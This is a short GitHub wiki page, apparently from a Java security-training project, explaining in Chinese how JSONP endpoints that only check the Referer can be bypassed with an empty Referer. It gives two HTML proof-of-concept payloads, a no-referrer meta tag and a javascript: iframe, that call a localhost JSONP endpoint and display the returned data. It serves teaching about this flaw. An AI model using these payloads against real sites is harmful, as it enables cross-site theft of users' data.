-
Notifications
You must be signed in to change notification settings - Fork 649
JSONP
JoyChou edited this page Jan 28, 2019
·
8 revisions
有时候开发同学为了测试方便,JSONP接口限制了Referer,但是直接访问也就是空Referer没有限制。
正常来讲,前端发起的请求默认都会带着Referer,所以简单说下如何绕过空Referer。
<html>
<meta name="referrer" content="no-referrer" />
<script>
function test(data){
alert(data.name);
}
</script>
<script src=http://localhost:8080/jsonp/emptyReferer?callback=test></script>
</html>
<iframe src="javascript:'<script>function test(data){alert(data.name);}</script><script src=http://localhost:8080/jsonp/emptyReferer?callback=test></script>'"></iframe>